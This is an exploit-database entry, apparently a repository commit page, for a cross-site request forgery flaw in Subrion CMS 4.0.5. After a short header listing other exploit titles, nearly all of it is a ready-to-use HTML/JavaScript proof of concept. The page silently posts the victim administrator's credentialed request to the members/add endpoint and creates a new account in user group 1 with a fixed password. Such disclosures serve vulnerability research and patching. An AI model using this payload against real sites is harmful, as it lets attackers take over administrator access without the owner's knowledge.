95c6eeab79
33 changes to exploits/shellcodes NetShareWatcher 1.5.8.0 - 'Name' Denial Of Service NetworkSleuth 3.0.0.0 - 'Key' Denial of Service (PoC) SpotIE 2.9.5 - 'Key' Denial of Service (PoC) Dnss Domain Name Search Software - 'Key' Denial of Service (PoC) BlueAuditor 1.7.2.0 - 'Name' Denial of Service (PoC) ShareAlarmPro Advanced Network Access Control - 'Key' Denial of Service (PoC) NetShareWatcher 1.5.8.0 - 'Key' Denial of Service (PoC) Dnss Domain Name Search Software - 'Name' Denial of Service (PoC) TextCrawler Pro3.1.1 - Denial of Service (PoC) RemShutdown 2.9.0.0 - 'Key' Denial of Service (PoC) Backup Key Recovery Recover Keys Crashed Hard Disk Drive 2.2.5 - 'Key' Denial of Service (PoC) RemShutdown 2.9.0.0 - 'Name' Denial of Service (PoC) NBMonitor 1.6.6.0 - 'Key' Denial of Service (PoC) Office Product Key Finder 1.5.4 - Denial of Service (PoC) SpotFTP FTP Password Recovery 3.0.0.0 - 'Name' Denial of Service (PoC) SpotMSN 2.4.6 - 'Name' Denial of Service (PoC) SpotIM 2.2 - 'Name' Denial Of Service FTPGetter Professional 5.97.0.223 - Denial of Service (PoC) Duplicate Cleaner Pro 4 - Denial of Service (PoC) Microsoft Outlook VCF cards - Denial of Service (PoC) Adaware Web Companion 4.9.2159 - 'WCAssistantService' Unquoted Service Path Windows - Shell COM Server Registrar Local Privilege Escalation Dairy Farm Shop Management System 1.0 - 'username' SQL Injection Complaint Management System 4.0 - 'cid' SQL injection IBM RICOH Infoprint 1532 Printer - Persistent Cross-Site Scripting Subrion CMS 4.0.5 - Cross-Site Request Forgery (Add Admin) Hostel Management System 2.0 - 'id' SQL Injection elaniin CMS 1.0 - Authentication Bypass Small CRM 2.0 - Authentication Bypass Voyager 1.3.0 - Directory Traversal Codoforum 4.8.3 - Persistent Cross-Site Scripting Django < 3.0 < 2.2 < 1.11 - Account Hijack Linux/x86 - Execve() Alphanumeric Shellcode (66 bytes)
138 lines
No EOL
6.2 KiB
Text
138 lines
No EOL
6.2 KiB
Text
# Exploit Title: Subrion CMS 4.0.5 - Cross-Site Request Forgery (Add Admin)
|
|
# Date: 2020-01-05
|
|
# Exploit Author: Ismail Tasdelen
|
|
# Vendor Homepage: https://intelliants.com/
|
|
# Software Link : https://github.com/intelliants/subrion/releases/tag/v4.0.5
|
|
# Software : Subrion CMS
|
|
# Product Version: v 4.0.5.10
|
|
# Vulernability Type : Cross-Site Request Forgery (Add Admin)
|
|
# Vulenrability : Cross-Site Request Forgery
|
|
# CVE : N/A
|
|
|
|
# Description :
|
|
# CSRF vulnerability was discovered in v4.0.5 version of Subrion CMS.
|
|
# With this vulnerability, authorized users can be added to the system.
|
|
|
|
HTML CSRF PoC :
|
|
|
|
<html>
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<script>
|
|
function submitRequest()
|
|
{
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.open("POST", "https:\/\/SERVER\/_core\/admin\/members\/add\/", true);
|
|
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
|
|
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
|
|
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------9973334999367242361642875270");
|
|
xhr.withCredentials = true;
|
|
var body = "-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"__st\"\r\n" +
|
|
"\r\n" +
|
|
"41209a5f43b0d7c8cef0e7ffcd9ce160\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"username\"\r\n" +
|
|
"\r\n" +
|
|
"ismailtasdelen\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"fullname\"\r\n" +
|
|
"\r\n" +
|
|
"Ismail Tasdelen\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"email\"\r\n" +
|
|
"\r\n" +
|
|
"test@mail.com\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"_password\"\r\n" +
|
|
"\r\n" +
|
|
"Test1234!\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"_password2\"\r\n" +
|
|
"\r\n" +
|
|
"Test1234!\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"usergroup_id\"\r\n" +
|
|
"\r\n" +
|
|
"1\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"v[avatar[]]\"\r\n" +
|
|
"\r\n" +
|
|
"\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"avatar[]\"; filename=\"\"\r\n" +
|
|
"Content-Type: application/octet-stream\r\n" +
|
|
"\r\n" +
|
|
"\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"website\"\r\n" +
|
|
"\r\n" +
|
|
"https://ismailtasdelen.com\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"phone\"\r\n" +
|
|
"\r\n" +
|
|
"0000000000000000000\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"biography\"\r\n" +
|
|
"\r\n" +
|
|
"NULL\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"facebook\"\r\n" +
|
|
"\r\n" +
|
|
"\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"twitter\"\r\n" +
|
|
"\r\n" +
|
|
"\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"gplus\"\r\n" +
|
|
"\r\n" +
|
|
"\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"linkedin\"\r\n" +
|
|
"\r\n" +
|
|
"\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"sponsored\"\r\n" +
|
|
"\r\n" +
|
|
"0\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"plan_id\"\r\n" +
|
|
"\r\n" +
|
|
"2\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"sponsored_end\"\r\n" +
|
|
"\r\n" +
|
|
"2020-02-05 05:18:43\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"featured\"\r\n" +
|
|
"\r\n" +
|
|
"0\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"featured_end\"\r\n" +
|
|
"\r\n" +
|
|
"2020-02-05 05:19\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"status\"\r\n" +
|
|
"\r\n" +
|
|
"active\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"save\"\r\n" +
|
|
"\r\n" +
|
|
"Add\r\n" +
|
|
"-----------------------------9973334999367242361642875270\r\n" +
|
|
"Content-Disposition: form-data; name=\"goto\"\r\n" +
|
|
"\r\n" +
|
|
"list\r\n" +
|
|
"-----------------------------9973334999367242361642875270--\r\n";
|
|
var aBody = new Uint8Array(body.length);
|
|
for (var i = 0; i < aBody.length; i++)
|
|
aBody[i] = body.charCodeAt(i);
|
|
xhr.send(new Blob([aBody]));
|
|
}
|
|
</script>
|
|
<form action="#">
|
|
<input type="button" value="Submit request" onclick="submitRequest();" />
|
|
</form>
|
|
</body>
|
|
</html> |